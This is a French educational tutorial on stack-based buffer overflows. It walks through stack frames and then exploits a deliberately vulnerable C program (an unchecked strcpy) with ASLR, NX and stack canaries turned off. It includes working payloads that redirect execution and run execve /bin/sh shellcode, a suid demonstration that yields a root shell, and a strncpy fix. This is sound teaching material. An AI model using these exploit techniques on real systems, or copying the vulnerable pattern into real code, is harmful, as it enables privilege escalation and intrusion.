Zeste de savoir

Exploitez votre premier ”Stack-based overflow” !

12 août 2019

Table des matières

Cet article est le cinquième d'une série qui commence à bien s'allonger. Pour les novices qui tiqueraient à la vue du terme de "Stack-based overflow" ou de "pile d'exécution", je vous recommande de lire préalablement l'introduction à la rétroingénierie des binaires, l'introduction aux "buffer overflows", Programmez en langage d'assemblage sous Linux ! et enfin Ecrivez votre premier shellcode en asm x86. Ils vous permettront d'avoir les connaissances et la compréhension nécessaires pour ne pas perdre le fil de ce qui va suivre.

Dans cet article, nous apprendrons à exploiter des vulnérabilités de type "Stack-based overflow" dans un contexte d'exécution où la sécurité est amoindrie. L'article sur les "Buffer overflow" vous a montré qu'il était somme toute dangereux de ne pas insister sur les contrôles de taille de la mémoire, avec un exemple illustré autour de la pile d'exécution. Cet article a pour objectif de pousser l'exemple encore plus loin et de vous montrer ce qu'il est possible de faire au sein de la pile d'exécution.

Pour ce faire, nous scinderons cet article en trois parties. Premièrement, nous ferons un rapide rappel sur le fonctionnement de la pile d'exécution au moyen d'un binaire que nous aurons écrit en C et compilé avant d'expliquer la théorie du "Stack-based overflow", puis nous nous attarderons sur des exemples d'attaques concrets.

Comme d'habitude : ça va secouer, attachez bien vos ceintures, amoureux du zeste !

1. Avant de commencer

Il nous faut préparer l'environnement d'apprentissage. Je ne souhaite pas entièrement m'attarder dessus. Ce que je vous recommande, c'est de déployer une machine virtuelle de votre distribution Linux préférée en version 64-bit. Vous pouvez aussi faire ça sur votre système d'exploitation physique pour les plus dégourdis.

En effet, on va enlever une sécurité du système d'exploitation qui se nomme l'**ASLR**. Derrière cet acronyme barbare se cache l'intitulé **Address Space Layout Randomization**. Nous pourrions traduire cela en français par **distribution aléatoire de l'espace d'adressage**. Cette contre-mesure de sécurité sert, comme son nom l'indique, à distribuer des adresses mémoires aléatoires

lorsque votre processus est cartographié en mémoire. Nous verrons pourquoi il s'agit d'une sécurité contre les exploitations de vulnérabilité type "Stack-based overflow" et pourquoi il nous est nécessaire, à des fins pédagogiques, de la désactiver.

Pour ce faire, entrez la commande suivante en **super utilisateur** :

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

Nous n'avons pas davantage de distribution aléatoire. On est bon !

2. Rappel : fonctionnement de la pile d'exécution

Pour la beauté de l'exemple, considérons le programme suivant :

```c
#include <stdio.h>
#include <stdlib.h>

int add_numbers(int a, int b);

int main(int argc, char **argv) {
    int sum = add_numbers(1, 2);
    printf("1 + 2 = %d\n", sum);
    return EXIT_SUCCESS;
}

int add_numbers(int a, int b) {
    return a + b;
}
```

Vous l'aurez compris : ce programme va effectuer une addition entre deux entiers. Schématisons la pile d'exécution au moment d'appeler la fonction add_numbers. Dans la théorie, nous avons ça :

```
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|        ESPACE NON        |
|           ALLOUE         |
```

```
|                           |
|                           |
|                           |
|                           |
|                           |
+---------------------------+ <-- esp
|    variables locales      |
|   à la fonction main()    |
+---------------------------+ <-- ebp
```

Avant d'appeler `add_numbers`, il faut lui fournir les arguments dont elle a besoin. L'**ABI** (Application Binary Interface) de Linux spécifie les conventions d'appel d'une fonction au niveau binaire. En ce qui concerne les architectures x86, elle précise que les arguments doivent être déposés sur la pile de sorte que le premier argument se retrouve au sommet. Puis suivent le deuxième argument, le troisième, etc.

En résumé, si nous avons :

```
function(arg1, arg2, arg3);
```

La pile d'exécution aura le schéma suivant :

```
+-----------------+ <-- sommet de la pile
|      arg1       |
+-----------------+
|      arg2       |
+-----------------+
|      arg3       |
+-----------------+
```

Ainsi, dans notre cas concret, il nous faudra déposer les arguments `1` et `2` sur la pile de sorte que nous ayons ceci :

```
      Pile d'exécution
+---------------------------+
|                           |
|                           |
|                           |
|                           |
|        ESPACE NON         |
|           ALLOUE          |
|                           |
|                           |
|                           |
```

```
+--------------------------+ <-- esp
|     argument 1 = 1       |
+--------------------------+
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+ <-- ebp
```

La fonction `add_number` est prête à être appelée et exécutée. Mais avant d'exécuter cette fonction, il faut s'assurer de **deux choses** :

— Pouvoir revenir au flux d'exécution de la fonction appelante, juste après que la fonction `add_number` ait été exécutée ;
— Construire un nouveau cadre de pile (ou **stack frame**) pour la fonction `add_number`.

Pour la première contrainte, le programme va tout simplement empiler une valeur qui correspond à une adresse mémoire pointant sur l'instruction à exécuter une fois la fonction `add_number` déroulée.

Dans notre code, nous avons :

```
    int sum = add_numbers(1, 2);
    printf("1 + 2 = %d\n", sum);
```

Ainsi, pour que le programme puisse continuer de dérouler la fonction `main` après avoir appelé la fonction `add_number`, il va déposer, en quelque sorte, l'adresse mémoire à laquelle se situent les instructions qui vont se charger de faire `printf("1 + 2 = %d\n", sum);`.

En architecture intel x86, le registre `eip` se charge de pointer sur la prochaine instruction à exécuter. C'est la valeur de ce registre qui sera sauvegardée sur la pile d'exécution. Nous l'appellerons `seip` (”saved eip”). Ainsi, la disposition de la pile d'exécution ressemblera à ceci :

```
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|        ESPACE NON        |
|           ALLOUE         |
|                          |
+--------------------------+ <-- esp
|     seip (sauvegarde)    |
+--------------------------+
|     argument 1 = 1       |
+--------------------------+
```

```
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+ <-- ebp
```

Le flux d'exécution va dérouler la fonction appelée. Mais tout d'abord, elle doit mettre en place un cadre de pile (ou **stack frame**) afin de délimiter son emplacement mémoire. Pour cela, elle va sauvegarder la valeur du registre `ebp` au même titre que l'instruction `call` l'a fait pour `eip` :

```
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|        ESPACE NON        |
|           ALLOUE         |
|                          |
+--------------------------+  <-- esp
|     sebp (sauvegarde)    |
+--------------------------+
|     seip (sauvegarde)    |
+--------------------------+
|     argument 1 = 1       |
+--------------------------+
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+ <-- ebp
```

Elle positionne ensuite le contenu du registre `ebp` à `esp`. Si les deux registres pointent sur la même adresse mémoire, alors notre pile d'exécution est vide. Schématiquement, cela ressemble à ceci :

```
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|        ESPACE NON        |
|           ALLOUE         |
|                          |
+--------------------------+  <-- esp / ebp
|     sebp (sauvegarde)    |
+--------------------------+
|     seip (sauvegarde)    |
```

```
+--------------------------+
|     argument 1 = 1       |
+--------------------------+
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+
```

Ensuite, la fonction va pouvoir réserver son propre espace mémoire, ceci à l'aide d'instructions `push` ou `sub esp, X`. L'instruction push "dépose" des données sur la pile et a pour effet de modifier la valeur du registre `esp`. La seconde instruction décrémente le registre `esp` d'une certaine valeur.

Souvenez-vous, la pile évolue des adresses hautes aux adresses basses. Le fait de décrémenter le registre `esp` consiste donc à faire grossir la pile "vers le haut".

Une fois que la fonction aura alloué des données, voici ce que nous pourrions avoir :

```
      Pile d'exécution
+--------------------------+
|        ESPACE NON        |
|           ALLOUE         |
+--------------------------+ <-- esp
|  Variables locales à la  |
|  fonction add_numbers()  |
+--------------------------+ <-- ebp
|     sebp (sauvegarde)    |
+--------------------------+
|     seip (sauvegarde)    |
+--------------------------+
|     argument 1 = 1       |
+--------------------------+
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+
```

Nous pouvons nous apercevoir d'une chose : si la pile d'exécution est **alignée sur quatre octets**, ce qui signifie que chaque élément mesure en fait quatre octets, alors nous pouvons adresser les éléments suivants :

— argument 1 : situé à l'adresse pointée par `ebp`, plus 8. (il y a sebp et seip avant, comme nous pouvons le voir sur la figure ci-dessus).

— argument 2 : situé à l'adresse pointée par `ebp`, plus 12. (8 + 4 octets suivants).

Une fois la fonction exécutée, le programme va restaurer le cadre de pile de la fonction appelante, en repositionnant esp à ebp. Les variables locales à la fonction `add_number` seront considérées, du point de vue du programmeur C, comme "détruites". Schématiquement, nous aurons :

```
      Pile d'exécution
+-------------------------+
|        ESPACE NON       |
|           ALLOUE        |
+-------------------------+
| Ancien espace mémoire de |
|       la fonction       |
|       add_numbers()     |
+-------------------------+ <-- ebp / esp
|     sebp (sauvegarde)   |
+-------------------------+
|     seip (sauvegarde)   |
+-------------------------+
|     argument 1 = 1      |
+-------------------------+
|     argument 2 = 2      |
+-------------------------+
|    variables locales    |
|   à la fonction main()  |
+-------------------------+
```

La sauvegarde du pointeur de base de pile utilisé par main sera dépilée et restaurée dans le registre `ebp`, ce qui donnera :

```
      Pile d'exécution
+-------------------------+
|        ESPACE NON       |
|           ALLOUE        |
+-------------------------+
| Ancien espace mémoire de |
|       la fonction       |
|       add_numbers()     |
+-------------------------+
|     sebp (sauvegarde)   |
+-------------------------+ <-- esp
|     seip (sauvegarde)   |
+-------------------------+
|     argument 1 = 1      |
+-------------------------+
|     argument 2 = 2      |
+-------------------------+
```

```
|    variables locales     |
|   à la fonction main()   |
+--------------------------+ <-- ebp
```

Il faut ensuite rendre le contrôle du flux d'exécution à la fonction main ! Pour cela, on dépile la sauvegarde du pointeur d'instruction dans `eip` et la fonction main peut reprendre son exécution où elle en était.

```
      Pile d'exécution
+--------------------------+
|        ESPACE NON        |
|           ALLOUE         |
+--------------------------+
| Ancien espace mémoire de |
|       la fonction        |
|       add_numbers()      |
+--------------------------+
|     sebp (sauvegarde)    |
+--------------------------+
|     seip (sauvegarde)    |
+--------------------------+ <-- esp
|     argument 1 = 1       |
+--------------------------+
|     argument 2 = 2       |
+--------------------------+
|    variables locales     |
|   à la fonction main()   |
+--------------------------+ <-- ebp
```

i

Vous pouvez voir que la pile n'est pas totalement "nettoyée" puisqu'il reste nos arguments effectifs à la fonction add_numbers() au sommet de la pile. Selon certaines conventions d'appel liées aux ABI (Application Binary Interfaces) de votre compilateur, ceux-ci seront nettoyés de sorte que le registre `esp` pointe à nouveau au-dessus des variables locales à la fonction `main`. Nous ne nous attarderons pas sur ces détails puisqu'ils n'handicapent pas la compréhension de cet article, mais j'invite grandement les intéressés à se renseigner sur cet article de Wikipédia : http ://en.wikipedia.org/wiki/X86_calling_conventions#Callee_clean-up

C'est bon pour la théorie ? Nous allons pouvoir maintenant entrer dans le vif du sujet et nous poser la question suivante...

?

En quoi consiste un Stack-based overflow ?

3. Le problème...

Pour ceux qui ont lu l'article sur l'introduction aux "buffer overflows" , nous avons vu qu'il était possible d'écraser des zones mémoires faute de rigueur de la part du programmeur lorsque la taille de la mémoire n'était pas contrôlée. Nous avions même illustré un exemple au sein de la pile d'exécution et nous débordions sur une autre variable, compromettant ainsi le schéma d'exécution normal du binaire.

Ici, nous allons tenter d'écraser une autre valeur, bien plus critique. Je vous laisse deviner laquelle, à partir de ce fabuleux schéma dont l'icône de l'article est tirée :

FIGURE 3. – Pile d'exécution : écrasement de la sauvegarde d'EIP, une valeur critique !

Vous l'aurez deviné : c'est `seip` qui va nous intéresser.

Souvenez-vous : il s'agit de la sauvegarde du pointeur vers les instructions à exécuter au retour de la fonction. Si nous arrivons à réécrire ce pointeur, nous pourrions détourner le flux d'exécution de notre programme !

Et pour ceux qui ont lu l'article sur l'écriture de shellcodes en asm x86, vous aurez deviné qu'on essaiera d'écrire à la place de `seip` l'adresse qui pointera sur... Un shellcode.

On aura détourné l'exécution du programme et lancé un shell au sein de celui-ci. Il s'agit là de l'exercice de base, incontournable pour ceux qui veulent s'initier à l'exploitation de vulnérabilités liées aux systèmes d'exploitation !

Pour bien assimiler la chose, nous étofferons deux exemples : le premier consistera à exécuter du code déjà présent dans le binaire, et le second, plus "délicat", consistera à exécuter notre propre code que nous aurons préalablement injecté.

4. Deux débordements contrôlés

4.1. Exemple 1 : Exécution de code déjà présent

Soit le code C suivant :

is_good_boy.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
```

```c

void badboy();
void goodboy();

void handle_name(const char* arg);

int main(int argc, char** argv) {
    if(argc < 2) {
        printf("Usage: %s <name>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    handle_name(argv[1]);
    badboy();
    return EXIT_SUCCESS;
}

void handle_name(const char* arg) {
    char name[32]; // 32 char should be enough

    printf("Hello there, so your name is...\n");
    strcpy(name, arg);
    printf("%s!\n", name);
}

void badboy() {
    printf("You're a bad boy, get out.\n");
    exit(EXIT_FAILURE);
}

void goodboy() {
    printf("You're kind of good boy. I like you!\n");
    execve("/bin/sh", NULL, NULL);
}
```

En premier lieu, avant d'exploiter une vulnérabilité, il convient de la **déceler**. Le problème se situe au niveau de ces instructions :

```c
    char name[32]; // 32 char should be enough
    // ...
    strcpy(name, arg);
```

En effet, la fonction standard `strcpy` va copier les octets de la source (`arg`) à la destination (`name`) jusqu'à rencontrer un `\0` mais **sans faire de contrôle de taille**.

Et comme le tableau `name` fait 32 caractères, si nous fournissons bien plus de caractères que cela, alors le comportement sera indéfini (petit clin d'œil aux amoureux de la norme).

Pour vous en donner la preuve, compilons le programme avec les options qui vont bien (pour désactiver certaines protections à des fins d'apprentissage) :

```
% gcc -o is_good_boy is_good_boy.c -m32 -fno-stack-protector
```

L'option `-fno-stack-protector` permet d'enlever les mécanismes de protection de la pile d'exécution lorsque celle-ci subit un débordement de tampon. Ajoutez cette option de compilation à vos risques et périls ; ici, c'est pour la beauté de l'exemple, souvenez-vous-en.

Exécution :

```
 % ./is_good_boy
Usage: ./is_good_boy <name>
 % ./is_good_boy Geoffrey
Hello there, so your name is...
Geoffrey!
You're a bad boy, get out.
```

On remarque que l'exécution est normale quand on rentre des données qui ne débordent pas du tableau. Mais les choses se gâtent si nous entrons plus de données que ce que le tableau ne peut contenir...

```
 % ./is_good_boy `perl -e 'print "A" x 50'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
zsh: segmentation fault  ./is_good_boy `perl -e 'print "A" x 50'`
```

Et là, c'est le drame !

Déboguons notre programme pour savoir ce qu'il s'est réellement passé.

```
 % gdb ./is_good_boy
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
    <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show
    copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
```

```
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from
    /home/ge0/c/stack_based_overflow/is_good_boy...(no debugging
    symbols found)...done.
(gdb) r `perl -e 'print "A" x 50'`
Starting program: /home/ge0/c/stack_based_overflow/is_good_boy
    `perl -e 'print "A" x 50'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

Ce que gdb nous dit après exécution, c'est qu'il n'arrive pas à exécuter de code à l'adresse `0x41414141`. Les plus vifs d'entre vous auront deviné qu'il ne s'agit pas d'une adresse mémoire valide, et que la valeur hexadécimale `41` correspond en fait à un 'A' (a majuscule). En résumé, nous avons réécrit la valeur de `seip` qui a été restaurée et... Le programme n'a pas pu continuer, ne sachant pas ce qui se trouvait à l'adresse `0x41414141`! En effet :

```
(gdb) x/i 0x41414141
=> 0x41414141:  Cannot access memory at address 0x41414141
```

L'idée, c'est de contrôler cette valeur. Désassemblons la fonction `handle_name` (notez que je découvre son code en même temps que j'écris ces lignes) :

```
(gdb) disass handle_name
Dump of assembler code for function handle_name:
   0x08048538 <+0>:     push   ebp
   0x08048539 <+1>:     mov    ebp,esp
   0x0804853b <+3>:     sub    esp,0x38
   0x0804853e <+6>:     mov    DWORD PTR [esp],0x8048664
   0x08048545 <+13>:    call   0x80483b0 <puts@plt>
   0x0804854a <+18>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804854d <+21>:    mov    DWORD PTR [esp+0x4],eax
   0x08048551 <+25>:    lea    eax,[ebp-0x28]
   0x08048554 <+28>:    mov    DWORD PTR [esp],eax
   0x08048557 <+31>:    call   0x80483a0 <strcpy@plt>
   0x0804855c <+36>:    lea    eax,[ebp-0x28]
   0x0804855f <+39>:    mov    DWORD PTR [esp+0x4],eax
   0x08048563 <+43>:    mov    DWORD PTR [esp],0x8048684
   0x0804856a <+50>:    call   0x8048390 <printf@plt>
   0x0804856f <+55>:    leave
   0x08048570 <+56>:    ret
End of assembler dump.
```

Vous devriez normalement reconnaître le prologue et l'épilogue respectivement en début et fin de fonctions. Les instructions qui nous intéressent sont celles-ci :

```
   0x08048551 <+25>:    lea    eax,[ebp-0x28]
   0x08048554 <+28>:    mov    DWORD PTR [esp],eax
   0x08048557 <+31>:    call   0x80483a0 <strcpy@plt>
```

On identifie, grâce à ces instructions, que `name` est situé à l'adressage `ebp-0x28`. Souvenez-vous que `seip` est par convention situé à `ebp+0x04` comme je vous l'avais montré sur l'exemple avec l'appel à la fonction `add_numbers` lorsque je faisais une piqûre de rappel sur le fonctionnement de la pile. Cela signifie qu'il faudra remplir le buffer de `ebp-0x28` à `ebp+0x04` pour atteindre `seip`. En gros, il suffit de faire le calcul :

$$04h - (-28h)$$

(Note : j'ai ajouté le suffixe **h** pour indiquer que les nombres sont hexadécimaux)

L'invite de commande interactive de python nous aide à faire le calcul rapidement :

```
>>> 0x04 - (-0x28)
44
```

Il faut donc écrire 44 octets avant d'atteindre `seip`. Et comme notre pile d'exécution est alignée sur quatre octets et que `seip` en fait également 4 (notre binaire est sur 32-bit, donc nos adresses aussi), alors les quatre octets injectés permettront *a priori* d'écraser l'adresse de retour ! Essayons :

```
(gdb) r `perl -e 'print "A" x 44 . "BBBB"'`
Starting program: /home/ge0/c/stack_based_overflow/is_good_boy
    `perl -e 'print "A" x 44 . "BBBB"'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

La valeur `42` correspond bien au `B` (b majuscule) du code ASCII. Notre calcul est correct. Pour ce binaire, nous pouvons contrôler le flux d'exécution au moyen d'un **Stack-based overflow**.

L'objectif va être d'appeler `goodboy`. Celle-ci est localisée à une certaine adresse mémoire qu'il est aisé de récupérer, que ce soit avec `gdb` ou l'utilitaire `nm` :

```
(gdb) disass goodboy
Dump of assembler code for function goodboy:
   0x0804858f <+0>:     push   ebp
   0x08048590 <+1>:     mov    ebp,esp
   0x08048592 <+3>:     sub    esp,0x18
   0x08048595 <+6>:     mov    DWORD PTR [esp],0x80486a4
   0x0804859c <+13>:    call   0x8048390 <printf@plt>
   0x080485a1 <+18>:    mov    DWORD PTR [esp+0x8],0x0
   0x080485a9 <+26>:    mov    DWORD PTR [esp+0x4],0x0
   0x080485b1 <+34>:    mov    DWORD PTR [esp],0x80486c9
   0x080485b8 <+41>:    call   0x80483f0 <execve@plt>
   0x080485bd <+46>:    leave
   0x080485be <+47>:    ret
```

`gdb` nous informe que la fonction commence à cette instruction :

```
   0x0804858f <+0>:     push   ebp
```

Donc à l'adresse `0x0804858f`. Vérifions-le en ligne de commande avec `nm` :

```
 % nm ./is_good_boy | grep goodboy
0804858f T goodboy
```

L'utilitaire nous affiche la même adresse. Nous allons utiliser celle-là pour écraser `seip`.

Dernier détail : puisque nous sommes sur des systèmes **little-endian** (ou "petit boutistes" en Français), nous allons devoir écrire notre adresse "à l'envers" dans notre chaîne de caractère en ligne de commande. Ainsi, si l'adresse à fournir est :

`0x0804858f`

Alors nous écrirons `\x8f\x85\x04\x08`

Vous aurez remarqué que cette adresse ne contient pas de null-byte (`\0`). Cela aurait été fatal pour l'exploitation puisque la fonction `strcpy` s'arrête de copier les données au premier null-byte. Faites très attention à ce détail !

Voici l'exploit final :

```
 % ./is_good_boy `perl -e 'print "A" x 44 . "\x8f\x85\x04\x08"'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
```

```
You're kind of good boy. I like you!
$ echo Hello!
Hello!
$
```

On a réussi à exécuter `goodboy` ! Maintenant, nous allons faire mieux : exécuter notre propre code !

4.2. Exemple 2 : exécution d'un shellcode

La principale difficulté rencontrée par les exploitants lors de l'injection d'un shellcode consiste à retrouver son adresse mémoire lors de l'exécution, **ET** de l'exécuter !

En effet, même si certains ont réussi à localiser leur shellcode - parfois dans la pile d'exécution - ils se retrouvent pantois et bredouilles lorsque celui-ci ne s'exécute pas : **leur code ne se situe pas en zone mémoire avec les droits d'exécution** !

Cette protection est régie par le bit **NX** (*No eXecutable*) présent sur les pages mémoires. Par défaut, la pile d'exécution d'un binaire n'est pas exécutable. Nous allons recompiler notre binaire pour qu'elle le soit, toujours pour la beauté de l'exemple :

```
% gcc -o is_good_boy is_good_boy.c -m32 -fno-stack-protector -z
    execstack
```

L'ajout de l'option `-z exectack` règle le problème de la pile non exécutable.

Dernier détail d'importance : vous vous souvenez de la directive que je vous ai demandé de faire en début d'article ?

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

Elle va nous permettre de faire en sorte que les adresses mémoires ne soient pas aléatoires au sein de la pile d'exécution. Il s'agit d'une énième protection à enlever pour réussir notre exploitation. Toujours et encore pour la beauté de l'exemple...

La dernière contrainte qu'il nous reste est de localiser notre shellcode à un endroit fixe. Connaissez-vous les variables d'environnement ? Celles-ci permettent de passer des valeurs à nos binaires sans passer par la ligne de commande. Un exemple connu de variable d'environnement est `PATH`, qui est utilisée par votre invite de commande favoris pour savoir où chercher les binaires à exécuter si le chemin absolu n'est pas spécifié.

Si nous plaçons notre shellcode en variable d'environnement, celui-ci sera présent en mémoire lors de l'exécution de notre binaire vulnérable ! Pour ceux qui ont suivi l'article sur l'écriture

d'un shellcode en asm x86 , nous utiliserons le shellcode qui a été écrit à titre d'exemple. Exportons-le en variable d'environnement :

```
 % hd execve_binsh
00000000  31 c0 31 db 31 c9 31 d2  b0 0b 53 68 6e 2f 73 68
    |1.1.1.1...Shn/sh|
00000010  68 2f 2f 62 69 89 e3 cd  80 b0 01 31 db cd 80
    |h//bi......1...|
0000001f
 % export SHELLCODE=`cat execve_binsh`
```

Il ne reste plus qu'à retrouver son adresse. Pour cela, nous allons nous aider d'un petit programme écrit en C qui va la récupérer, grâce à la fonction `getenv`. Nous fournirons aussi à cet utilitaire le nom du programme cible afin de faire les ajustements nécessaires au sein de la pile d'exécution. En effet, les adresses sont amenées à changer si les noms de programmes n'ont pas la même taille. Voici le code qui nous permettra de récupérer l'adresse de notre shellcode :

getenv.c :

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {

            printf("Usage: %s <environment variable> <target name program>\n",
            argv[0]);
        exit(EXIT_FAILURE);
    }

    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for
        program name */

    printf("%s will be at %p\n", argv[1], ptr);

    return EXIT_SUCCESS;
}
```

Compilons et exécutons-le :

```
 % gcc -o getenv getenv.c -m32
 % ./getenv
Usage: ./getenv <environment variable> <target name program>
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfffff99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfffff99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfffff99
```

Plusieurs exécutions permettent de nous assurer que les adresses mémoires restent les mêmes d'une exécution à une autre. En effet, si vous n'aviez pas désactivé la distribution aléatoire des adresses mémoires (**ASLR**), vous auriez obtenu quelque chose de ce genre-là :

```
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbf9bbf99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfffdf99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbf997f99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfe02f99
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfddaf99
```

On constate que les adresses mémoires ne sont jamais les mêmes ! Ç'aurait été pénible pour nous d'exploiter ça !

Allez, ne tardons plus et exploitons notre premier "vrai" Stack-based overflow !

```
 % ./getenv SHELLCODE ./is_good_boy
SHELLCODE will be at 0xbfffff99
 % ./is_good_boy `perl -e 'print "A" x 44 . "\x99\xff\xff\xbf"'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒!
$ echo "Hello!"
Hello!
$ exit
```

Notre exploitation fonctionne du feu de Dieu. Pour vous montrer en quoi il s'agit d'une vulnérabilité dangereuse, octroyez le bit **suid** au binaire `is_good_boy` après avoir changé son propriétaire en `root` comme ceci :

```
# chown root:root ./is_good_boy
# chmod +s ./is_good_boy
# exit
 % ls -la ./is_good_boy
-rwsr-sr-x 1 root root 5732 May 25 13:21 ./is_good_boy
```

Et refaites l'exploitation :

```
 % id
uid=1001(ge0) gid=1001(ge0) groups=1001(ge0),27(sudo)
 % whoami
ge0
 % ./is_good_boy `perl -e 'print "A" x 44 . "\x99\xff\xff\xbf"'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒!
# id
uid=1001(ge0) gid=1001(ge0) euid=0(root) egid=0(root)
    groups=0(root),27(sudo),1001(ge0)
# whoami
root
# exit
```

On dit que vous avez "rooté" le système.

5. Colmater la vulnérabilité

Dans ce cas-là, c'est relativement simple : il suffit de remplacer :

```
strcpy(name, arg);
```

Par :

```
strncpy(name, arg, 32-1);
name[31] = '\0'; // Manually set the \0 at the very end
```

On a ainsi un contrôle de la taille copiée et une prévention d'exploitation de vulnérabilité ! On teste ?

is_good_boy_patched.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void badboy();
void goodboy();

void handle_name(const char* arg);

int main(int argc, char** argv) {
    if(argc < 2) {
        printf("Usage: %s <name>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    handle_name(argv[1]);
    badboy();
    return EXIT_SUCCESS;
}

void handle_name(const char* arg) {
    char name[32]; // 32 char should be enough

    printf("Hello there, so your name is...\n");
    strncpy(name, arg, 32-1);
    name[31] = '\0'; // Manually set the \0 at the very end
    printf("%s!\n", name);
}

void badboy() {
    printf("You're a bad boy, get out.\n");
    exit(EXIT_FAILURE);
}

void goodboy() {
    printf("You're kind of good boy. I like you!\n");
    execve("/bin/sh", NULL, NULL);
}
```

Compilation et tentative d'exploitation :

```
 % gcc -o is_good_boy_patched is_good_boy_patched.c -m32
    -fno-stack-protector -z execstack
ge0@samaritan ~/c/stack_based_overflow
 % ./getenv SHELLCODE ./is_good_boy_patched
SHELLCODE will be at 0xbfffff89
```

```
ge0@samaritan ~/c/stack_based_overflow
 % ./is_good_boy_patched `perl -e
     'print "A" x 44 . "\x89\xff\xff\xbf"'`
Hello there, so your name is...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You're a bad boy, get out.
```

Plus de débordement, plus de bogue. On est en sécurité !

6. Le mot de la fin

Vous venez d'exploiter votre premier véritable "**Stack-based overflow**", à savoir une vulnérabilité de type "**buffer overflow**" présente au sein de la pile d'exécution, cette fois-ci en réécrivant le pointeur d'instruction sauvegardé pour détourner le flux d'exécution du programme cible (ça fait beaucoup !).

Mais nous avons vu aussi qu'il nous a fallu désactiver plusieurs mécanismes de sécurité pour parvenir à notre but. Nous pouvons donc nous dire que les sécurités mises en oeuvre par notre système d'exploitation permettent d'atténuer (on parle en jargon technique de **mitigations**) les exploitations par les pirates. Parmi celles connues :

— ASLR : permet d'obtenir des adresses mémoires aléatoires, difficiles à prédire lors de l'exécution d'un programme ;
— NX : permet d'enlever les droits d'exécution sur une zone mémoire ;
— stack canary : dépose une valeur aléatoire sur la pile à côté d'un buffer critique ; si ce dernier est débordé, le canary sera écrasé et il suffira de contrôler sa valeur pour nous en rendre compte.

Mais le monde de la sécurité consiste en une interminable partie de jeu d'échecs : les hackers contournent éternellement les mécanismes de protection mis en œuvre pour les renforcer encore et toujours. Ainsi n'est-il pas impossible que d'autres articles sur des techniques avancées voient le jour sur Zeste de Savoir.

> Cet article a été plutôt long et sans doute peu commun pour le type de contenu que vous avez pu trouver sur Zeste de Savoir. De même, quelques explications ont pu être bâclées, quelques points ont pu être obscurs. Il n'y a pas de question stupide, alors n'hésitez pas à poser les vôtres en commentaires pour obtenir des précisions supplémentaires.